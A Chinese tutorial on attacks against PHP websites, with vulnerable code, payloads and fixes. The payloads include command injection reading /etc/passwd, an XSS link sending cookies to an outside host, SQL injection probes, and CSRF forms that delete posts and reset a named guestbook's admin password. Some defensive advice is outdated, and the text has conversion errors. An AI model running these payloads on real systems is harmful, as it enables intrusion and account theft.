您好,登錄后才能下訂單哦!
本篇內(nèi)容介紹了“針對(duì)PHP網(wǎng)站的攻擊方式以及PHP漏洞實(shí)例講解”的有關(guān)知識(shí),在實(shí)際案例的操作過(guò)程中,不少人都會(huì)遇到這樣的困境,接下來(lái)就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!
針對(duì)PHP的網(wǎng)站主要存在下面幾種攻擊方式:
1、命令注入(Command Injection)
2、eval注入(Eval Injection)
3、客戶端腳本攻擊(Script Insertion)
4、跨網(wǎng)站腳本攻擊(Cross Site Scripting, XSS)
5、SQL注入攻擊(SQL injection)
6、跨網(wǎng)站請(qǐng)求偽造攻擊(Cross Site Request Forgeries, CSRF)
7、Session 會(huì)話劫持(Session Hijacking)
8、Session 固定攻擊(Session Fixation)
9、HTTP響應(yīng)拆分攻擊(HTTP Response Splitting)
10、文件上傳漏洞(File Upload Attack)
11、目錄穿越漏洞(Directory Traversal)
12、遠(yuǎn)程文件包含攻擊(Remote Inclusion)
13、動(dòng)態(tài)函數(shù)注入攻擊(Dynamic Variable Evaluation)
14、URL攻擊(URL attack)
15、表單提交欺騙攻擊(Spoofed Form Submissions)
16、HTTP請(qǐng)求欺騙攻擊(Spoofed HTTP Requests)
命令注入攻擊
PHP中可以使用下列5個(gè)函數(shù)來(lái)執(zhí)行外部的應(yīng)用程序或函數(shù)
system、exec、passthru、shell_exec、“(與shell_exec功能相同)
函數(shù)原型
string system(string command, int &return_var)
command 要執(zhí)行的命令
return_var 存放執(zhí)行命令的執(zhí)行后的狀態(tài)值
string exec (string command, array &output, int &return_var)
command 要執(zhí)行的命令
output 獲得執(zhí)行命令輸出的每一行字符串
return_var 存放執(zhí)行命令后的狀態(tài)值
void passthru (string command, int &return_var)
command 要執(zhí)行的命令
return_var 存放執(zhí)行命令后的狀態(tài)值
string shell_exec (string command)
command 要執(zhí)行的命令
漏洞實(shí)例
例1:
//ex1.php
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "<pre>";
system("ls -al ".$dir);
echo "</pre>";
}
?>
我們提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd
提交以后,命令變成了 system("ls -al | cat /etc/passwd");
eval注入攻擊
eval函數(shù)將輸入的字符串參數(shù)當(dāng)作PHP程序代碼來(lái)執(zhí)行
函數(shù)原型:
mixed eval(string code_str) //eval注入一般發(fā)生在攻擊者能控制輸入的字符串的時(shí)候
//ex2.php
<?php
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>
當(dāng)我們提交 http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就產(chǎn)生了
動(dòng)態(tài)函數(shù)
<?php
func A()
{
dosomething();
}
func B()
{
dosomething();
}
if (isset($_GET["func"]))
{
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
程序員原意是想動(dòng)態(tài)調(diào)用A和B函數(shù),那我們提交http://www.sectop.com/ex.php?func=phpinfo 漏洞產(chǎn)生
防范方法
1、盡量不要執(zhí)行外部命令
2、使用自定義函數(shù)或函數(shù)庫(kù)來(lái)替代外部命令的功能
3、使用escapeshellarg函數(shù)來(lái)處理命令參數(shù)
4、使用safe_mode_exec_dir指定可執(zhí)行文件的路徑
esacpeshellarg函數(shù)會(huì)將任何引起參數(shù)或命令結(jié)束的字符轉(zhuǎn)義,單引號(hào)“'”,替換成“\'”,雙引號(hào)“"”,替換成“\"”,分號(hào)“;”替換成“\;”
用safe_mode_exec_dir指定可執(zhí)行文件的路徑,可以把會(huì)使用的命令提前放入此路徑內(nèi)
safe_mode = On
safe_mode_exec_di r= /usr/local/php/bin/
客戶端腳本植入
客戶端腳本植入(Script Insertion),是指將可以執(zhí)行的腳本插入到表單、圖片、動(dòng)畫或超鏈接文字等對(duì)象內(nèi)。當(dāng)用戶打開這些對(duì)象后,攻擊者所植入的腳本就會(huì)被執(zhí)行,進(jìn)而開始攻擊。
可以被用作腳本植入的HTML標(biāo)簽一般包括以下幾種:
1、<script>標(biāo)簽標(biāo)記的javascript和vbscript等頁(yè)面腳本程序。在<script>標(biāo)簽內(nèi)可以指定js程序代碼,也可以在src屬性內(nèi)指定js文件的URL路徑
2、<object>標(biāo)簽標(biāo)記的對(duì)象。這些對(duì)象是java applet、多媒體文件和ActiveX控件等。通常在data屬性內(nèi)指定對(duì)象的URL路徑
3、<embed>標(biāo)簽標(biāo)記的對(duì)象。這些對(duì)象是多媒體文件,例如:swf文件。通常在src屬性內(nèi)指定對(duì)象的URL路徑
4、<applet>標(biāo)簽標(biāo)記的對(duì)象。這些對(duì)象是java applet,通常在codebase屬性內(nèi)指定對(duì)象的URL路徑
5、<form>標(biāo)簽標(biāo)記的對(duì)象。通常在action屬性內(nèi)指定要處理表單數(shù)據(jù)的web應(yīng)用程序的URL路徑
客戶端腳本植入的攻擊步驟
1、攻擊者注冊(cè)普通用戶后登陸網(wǎng)站
2、打開留言頁(yè)面,插入攻擊的js代碼
3、其他用戶登錄網(wǎng)站(包括管理員),瀏覽此留言的內(nèi)容
4、隱藏在留言內(nèi)容中的js代碼被執(zhí)行,攻擊成功
實(shí)例
數(shù)據(jù)庫(kù)
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default ”,
`name` varchar(40) NOT NULL default ”,
`email` varchar(25) NOT NULL default ”,
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='使用者的留言' AUTO_INCREMENT=69 ;
//add.php 插入留言
//list.php 留言列表
//show.php 顯示留言
提交下圖的留言
瀏覽此留言的時(shí)候會(huì)執(zhí)行js腳本
插入 <script>while(1){windows.open();}</script> 無(wú)限彈框
插入<script>location.href="http://www.sectop.com";</script> 跳轉(zhuǎn)釣魚頁(yè)面
或者使用其他自行構(gòu)造的js代碼進(jìn)行攻擊
防范的方法
一般使用htmlspecialchars函數(shù)來(lái)將特殊字符轉(zhuǎn)換成HTML編碼
函數(shù)原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要編碼的字符串
quote_style 可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默認(rèn)值ENT_COMPAT,表示只轉(zhuǎn)換雙引號(hào)不轉(zhuǎn)換單引號(hào)。ENT_QUOTES,表示雙引號(hào)和單引號(hào)都要轉(zhuǎn)換。ENT_NOQUOTES,表示雙引號(hào)和單引號(hào)都不轉(zhuǎn)換
charset 可選,表示使用的字符集
函數(shù)會(huì)將下列特殊字符轉(zhuǎn)換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
把show.php的第98行改成
<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?>
然后再查看插入js的漏洞頁(yè)面
XSS跨站腳本攻擊
XSS(Cross Site Scripting),意為跨網(wǎng)站腳本攻擊,為了和樣式表css(Cascading Style Sheet)區(qū)別,縮寫為XSS
跨站腳本主要被攻擊者利用來(lái)讀取網(wǎng)站用戶的cookies或者其他個(gè)人數(shù)據(jù),一旦攻擊者得到這些數(shù)據(jù),那么他就可以偽裝成此用戶來(lái)登錄網(wǎng)站,獲得此用戶的權(quán)限。
跨站腳本攻擊的一般步驟:
1、攻擊者以某種方式發(fā)送xss的http鏈接給目標(biāo)用戶
2、目標(biāo)用戶登錄此網(wǎng)站,在登陸期間打開了攻擊者發(fā)送的xss鏈接
3、網(wǎng)站執(zhí)行了此xss攻擊腳本
4、目標(biāo)用戶頁(yè)面跳轉(zhuǎn)到攻擊者的網(wǎng)站,攻擊者取得了目標(biāo)用戶的信息
5、攻擊者使用目標(biāo)用戶的信息登錄網(wǎng)站,完成攻擊
當(dāng)有存在跨站漏洞的程序出現(xiàn)的時(shí)候,攻擊者可以構(gòu)造類似 http://www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcookie.php?cookie='+document.cookie;</script> ,誘騙用戶點(diǎn)擊后,可以獲取用戶cookies值
防范方法:
利用htmlspecialchars函數(shù)將特殊字符轉(zhuǎn)換成HTML編碼
函數(shù)原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要編碼的字符串
quote_style 可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默認(rèn)值ENT_COMPAT,表示只轉(zhuǎn)換雙引號(hào)不轉(zhuǎn)換單引號(hào)。ENT_QUOTES,表示雙引號(hào)和單引號(hào)都要轉(zhuǎn)換。ENT_NOQUOTES,表示雙引號(hào)和單引號(hào)都不轉(zhuǎn)換
charset 可選,表示使用的字符集
函數(shù)會(huì)將下列特殊字符轉(zhuǎn)換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
$_SERVER["PHP_SELF"]變量的跨站
在某個(gè)表單中,如果提交參數(shù)給自己,會(huì)用這樣的語(yǔ)句
<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">
……
</form>
$_SERVER["PHP_SELF"]變量的值為當(dāng)前頁(yè)面名稱
例:
http://www.sectop.com/get.php
get.php中上述的表單
那么我們提交
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>
那么表單變成
<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
跨站腳本被插進(jìn)去了
防御方法還是使用htmlspecialchars過(guò)濾輸出的變量,或者提交給自身文件的表單使用
<form action="" method="post">
這樣直接避免了$_SERVER["PHP_SELF"]變量被跨站
SQL注入攻擊
SQL注入攻擊(SQL Injection),是攻擊者在表單中提交精心構(gòu)造的sql語(yǔ)句,改動(dòng)原來(lái)的sql語(yǔ)句,如果web程序沒有對(duì)提交的數(shù)據(jù)經(jīng)過(guò)檢查,那么就會(huì)造成sql注入攻擊。
SQL注入攻擊的一般步驟:
1、攻擊者訪問(wèn)有SQL注入漏洞的站點(diǎn),尋找注入點(diǎn)
2、攻擊者構(gòu)造注入語(yǔ)句,注入語(yǔ)句和程序中的SQL語(yǔ)句結(jié)合生成新的sql語(yǔ)句
3、新的sql語(yǔ)句被提交到數(shù)據(jù)庫(kù)中執(zhí)行 處理
4、數(shù)據(jù)庫(kù)執(zhí)行了新的SQL語(yǔ)句,引發(fā)SQL注入攻擊
實(shí)例
數(shù)據(jù)庫(kù)
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default ”,
`name` varchar(40) NOT NULL default ”,
`email` varchar(25) NOT NULL default ”,
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='運(yùn)用者的留言' AUTO_INCREMENT=69 ;
grant all privileges on ch4.* to ‘sectop'@localhost identified by '123456′;
//add.php 插入留言
//list.php 留言列表
//show.php 顯示留言
頁(yè)面 http://www.netsos.com.cn/show.php?id=71 可能存在注入點(diǎn),我們來(lái)測(cè)試
http://www.netsos.com.cn/show.php?id=71 and 1=1
返回頁(yè)面
提交
一次查詢到記錄,一次沒有,我們來(lái)看看源碼
//show.php 12-15行
// 執(zhí)行mysql查詢語(yǔ)句
$query = "select * from postmessage where id = ".$_GET["id"];
$result = mysql_query($query)
or die("執(zhí)行ySQL查詢語(yǔ)句失?。?quot; . mysql_error());
參數(shù)id傳遞進(jìn)來(lái)后,和前面的字符串結(jié)合的sql語(yǔ)句放入數(shù)據(jù)庫(kù)執(zhí)行 查詢
提交 and 1=1,語(yǔ)句變成select * from postmessage where id = 71 and 1=1 這語(yǔ)句前值后值都為真,and以后也為真,返回查詢到的數(shù)據(jù)
提交 and 1=2,語(yǔ)句變成select * from postmessage where id = 71 and 1=2 這語(yǔ)句前值為真,后值為假,and以后為假,查詢不到任何數(shù)據(jù)
正常的SQL查詢,經(jīng)過(guò)我們構(gòu)造的語(yǔ)句之后,形成了SQL注入攻擊。通過(guò)這個(gè)注入點(diǎn),我們還可以進(jìn)一步拿到權(quán)限,比如說(shuō)運(yùn)用 union讀取管理密碼,讀取數(shù)據(jù)庫(kù)信息,或者用mysql的load_file,into outfile等函數(shù)進(jìn)一步滲透。
防范方法
整型參數(shù):
運(yùn)用 intval函數(shù)將數(shù)據(jù)轉(zhuǎn)換成整數(shù)
函數(shù)原型
int intval(mixed var, int base)
var是要轉(zhuǎn)換成整形的變量
base,可選,是基礎(chǔ)數(shù),默認(rèn)是10
浮點(diǎn)型參數(shù):
運(yùn)用 floatval或doubleval函數(shù)分別轉(zhuǎn)換單精度和雙精度浮點(diǎn)型參數(shù)
函數(shù)原型
int floatval(mixed var)
var是要轉(zhuǎn)換的變量
int doubleval(mixed var)
var是要轉(zhuǎn)換的變量
字符型參數(shù):
運(yùn)用 addslashes函數(shù)來(lái)將單引號(hào)“'”轉(zhuǎn)換成“\'”,雙引號(hào)“"”轉(zhuǎn)換成“\"”,反斜杠“\”轉(zhuǎn)換成“\\”,NULL字符加上反斜杠“\”
函數(shù)原型
string addslashes (string str)
str是要檢查的字符串
那么剛才出現(xiàn)的代碼漏洞,我們可以這樣修補(bǔ)
// 執(zhí)行mysql查詢語(yǔ)句
$query = "select * from postmessage where id = ".intval($_GET["id"]);
$result = mysql_query($query)
or die("執(zhí)行ySQL查詢語(yǔ)句失?。?quot; . mysql_error());
如果是字符型,先判斷magic_quotes_gpc能無(wú)法 為On,當(dāng)不為On的時(shí)候運(yùn)用 addslashes轉(zhuǎn)義特殊字符
if(get_magic_quotes_gpc())
{
$var = $_GET["var"];
}
else
{
$var = addslashes($_GET["var"]);
}
再次測(cè)試,漏洞已經(jīng)修補(bǔ)
垮網(wǎng)站偽造請(qǐng)求
CSRF(Cross Site Request Forgeries),意為跨網(wǎng)站請(qǐng)求偽造,也有寫為XSRF。攻擊者偽造目標(biāo)用戶的HTTP請(qǐng)求,然后此請(qǐng)求發(fā)送到有CSRF漏洞的網(wǎng)站,網(wǎng)站執(zhí)行此請(qǐng)求后,引發(fā)跨站請(qǐng)求偽造攻擊。攻擊者利用隱蔽的HTTP連接,讓目標(biāo)用戶在不注意的情況下單擊這個(gè)鏈接,由于是用戶自己點(diǎn)擊的,而他又是合法用戶擁有合法權(quán)限,所以目標(biāo)用戶能夠在網(wǎng)站內(nèi)執(zhí)行特定的HTTP鏈接,從而達(dá)到攻擊者的目的。
例如:某個(gè)購(gòu)物網(wǎng)站購(gòu)買商品時(shí),采用http://www.shop.com/buy.php?item=watch&num=1,item參數(shù)確定要購(gòu)買什么物品,num參數(shù)確定要購(gòu)買數(shù)量,如果攻擊者以隱藏的方式發(fā)送給目標(biāo)用戶鏈接
<img src="http://www.shop.com/buy.php?item=watch&num=1000"/>,那么如果目標(biāo)用戶不小心訪問(wèn)以后,購(gòu)買的數(shù)量就成了1000個(gè)
實(shí)例
隨緣網(wǎng)絡(luò)PHP留言板V1.0
任意刪除留言
//delbook.php 此頁(yè)面用于刪除留言
<?php
include_once("dlyz.php"); //dlyz.php用戶驗(yàn)證權(quán)限,當(dāng)權(quán)限是admin的時(shí)候方可刪除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //傳遞要?jiǎng)h除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert(‘刪除成功!');";
echo " location='book.php';";
echo "</script>";
?>
當(dāng)我們具有admin權(quán)限,提交http://localhost/manage/delbook.php?id=2 時(shí),就會(huì)刪除id為2的留言
利用方法:
我們使用普通用戶留言(源代碼方式),內(nèi)容為
<img src="delbook.php?id=2" />
<img src="delbook.php?id=3" />
<img src="delbook.php?id=4" />
<img src="delbook.php?id=5" />
插入4張圖片鏈接分別刪除4個(gè)id留言,然后我們返回首頁(yè)瀏覽看,沒有什么變化。。圖片顯示不了
現(xiàn)在我們?cè)儆霉芾韱T賬號(hào)登陸后,來(lái)刷新首頁(yè),會(huì)發(fā)現(xiàn)留言就剩一條,其他在圖片鏈接中指定的ID號(hào)的留言,全部都被刪除。
攻擊者在留言中插入隱藏的圖片鏈接,此鏈接具有刪除留言的作用,而攻擊者自己訪問(wèn)這些圖片鏈接的時(shí)候,是不具有權(quán)限的,所以看不到任何效果,但是當(dāng)管理員登陸后,查看此留言,就會(huì)執(zhí)行隱藏的鏈接,而他的權(quán)限又是足夠大的,從而這些留言就被刪除了
修改管理員密碼
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設(shè)計(jì)制作:<a href=http://www.115cn.cn>廈門隨緣網(wǎng)絡(luò)科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert(‘修改成功!');";
echo " location='pass.php';";
echo "</script>";
}
這個(gè)文件用于修改管理密碼和網(wǎng)站設(shè)置的一些信息,我們可以直接構(gòu)造如下表單:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1" name="sh">
<input type="radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text" name="title" value="隨緣網(wǎng)絡(luò)PHP留言板V1.0(帶審核功能)" >
<textarea name="gg" rows="6" cols="80" >歡迎您安裝使用隨緣網(wǎng)絡(luò)PHP留言板V1.0(帶審核功能)!</textarea>
<textarea name="copyright" rows="6" cols="80" >隨緣網(wǎng)絡(luò)PHP留言本V1.0 版權(quán)所有:廈門隨緣網(wǎng)絡(luò)科技 2005-2009<br/>承接網(wǎng)站建設(shè)及系統(tǒng)定制 提供優(yōu)惠主機(jī)域名</textarea>
</form>
</body>
存為attack.html,放到自己網(wǎng)站上http://www.sectop.com/attack.html,此頁(yè)面訪問(wèn)后會(huì)自動(dòng)向目標(biāo)程序的pass.php提交參數(shù),用戶名修改為root,密碼修改為root,然后我們?nèi)チ粞园灏l(fā)一條留言,隱藏這個(gè)鏈接,管理訪問(wèn)以后,他的用戶名和密碼全部修改成了root
防范方法
防范CSRF要比防范其他攻擊更加困難,因?yàn)镃SRF的HTTP請(qǐng)求雖然是攻擊者偽造的,但是卻是由目標(biāo)用戶發(fā)出的,一般常見的防范方法有下面幾種:
1、檢查網(wǎng)頁(yè)的來(lái)源
2、檢查內(nèi)置的隱藏變量
3、使用POST,不要使用GET
檢查網(wǎng)頁(yè)來(lái)源
在//pass.php頭部加入以下紅色字體代碼,驗(yàn)證數(shù)據(jù)提交
if($_GET["act"])
{
if(isset($_SERVER["HTTP_REFERER"]))
{
$serverhost = $_SERVER["SERVER_NAME"];
$strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]);
$strdomain = explode("/",$strurl);
$sourcehost = $strdomain[0];
if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
{
unset($_POST);
echo "<script language='javascript'>";
echo "alert(‘?dāng)?shù)據(jù)來(lái)源異常!');";
&
nbsp; echo " location='index.php';";
echo "</script>";
}
}
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設(shè)計(jì)制作:<a href=http://www.115cn.cn>廈門隨緣網(wǎng)絡(luò)科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert(‘修改成功!');";
echo " location='pass.php';";
echo "</script>";
}
檢查內(nèi)置隱藏變量
我們?cè)诒韱沃袃?nèi)置一個(gè)隱藏變量和一個(gè)session變量,然后檢查這個(gè)隱藏變量和session變量是否相等,以此來(lái)判斷是否同一個(gè)網(wǎng)頁(yè)所調(diào)用
<?php
include_once("dlyz.php");
include_once("../conn.php");
if($_GET["act"])
{
if (!isset($_SESSION["post_id"]))
{
// 生成唯一的ID,并使用MD5來(lái)加密
$post_id = md5(uniqid(rand(), true));
// 創(chuàng)建Session變量
$_SESSION["post_id"] = $post_id;
}
// 檢查是否相等
if (isset($_SESSION["post_id"]))
{
// 不相等
if ($_SESSION["post_id"] != $_POST["post_id"])
{
// 清除POST變量
unset($_POST);
echo "<script language='javascript'>";
echo "alert(‘?dāng)?shù)據(jù)來(lái)源異常!');";
echo " location='index.php';";
echo "</script>";
}
}
……
<input type="reset" name="Submit2" value="重 置">
<input type="hidden" name="post_id" value="<?php echo $_SESSION["post_id"];?>">
</td></tr>
</table>
</form>
<?php
}
mysql_close($conn);
?>
</body>
</html>
使用POST,不要使用GET
傳遞表單字段時(shí),一定要是用POST,不要使用GET,處理變量也不要直接使用$_REQUEST
http響應(yīng)拆分
HTTP請(qǐng)求的格式
1)請(qǐng)求信息:例如“Get /index.php HTTP/1.1”,請(qǐng)求index.php文件
2)表頭:例如“Host: localhost”,表示服務(wù)器地址
3)空白行
4)信息正文
“請(qǐng)求信息”和“表頭”都必須使用換行字符(CRLF)來(lái)結(jié)尾,空白行只能包含換行符,不可以有其他空格符。
下面例子發(fā)送HTTP請(qǐng)求給服務(wù)器www.yhsafe.com
GET /index.php HTTP/1.1↙ //請(qǐng)求信息
Host:www.yhsafe.com↙ //表頭
↙ //空格行
↙
↙符號(hào)表示回車鍵,在空白行之后還要在按一個(gè)空格才會(huì)發(fā)送HTTP請(qǐng)求,HTTP請(qǐng)求的表頭中只有Host表頭是必要的餓,其余的HTTP表頭則是根據(jù)HTTP請(qǐng)求的內(nèi)容而定。
HTTP請(qǐng)求的方法
1)GET:請(qǐng)求響應(yīng)
2)HEAD:與GET相同的響應(yīng),只要求響應(yīng)表頭
3)POST:發(fā)送數(shù)據(jù)給服務(wù)器處理,數(shù)據(jù)包含在HTTP信息正文中
4)PUT:上傳文件
5)DELETE:刪除文件
6)TRACE:追蹤收到的請(qǐng)求
7)OPTIONS:返回服務(wù)器所支持的HTTP請(qǐng)求的方法
8)CONNECT:將HTTP請(qǐng)求的連接轉(zhuǎn)換成透明的TCP/IP通道
HTTP響應(yīng)的格式
服務(wù)器在處理完客戶端所提出的HTTP請(qǐng)求后,會(huì)發(fā)送下列響應(yīng)。
1)第一行是狀態(tài)碼
2)第二行開始是其他信息
狀態(tài)碼包含一個(gè)標(biāo)識(shí)狀態(tài)的數(shù)字和一個(gè)描述狀態(tài)的單詞。例如:
HTTP/1.1 200 OK
200是標(biāo)識(shí)狀態(tài)的是數(shù)字,OK則是描述狀態(tài)的單詞,這個(gè)狀態(tài)碼標(biāo)識(shí)請(qǐng)求成功。
HTTP請(qǐng)求和響應(yīng)的例子
打開cmd輸入telnet,輸入open www.00aq.com 80
打開連接后輸入
GET /index.php HTTP/1.1↙
Host:www.00aq.com↙
↙
↙
返回HTTP響應(yīng)的表頭
返回的首頁(yè)內(nèi)容
使用PHP來(lái)發(fā)送HTTP請(qǐng)求
header函數(shù)可以用來(lái)發(fā)送HTTP請(qǐng)求和響應(yīng)的表頭
函數(shù)原型
void header(string string [, bool replace [, int http_response_code]])
“針對(duì)PHP網(wǎng)站的攻擊方式以及PHP漏洞實(shí)例講解”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí)可以關(guān)注億速云網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。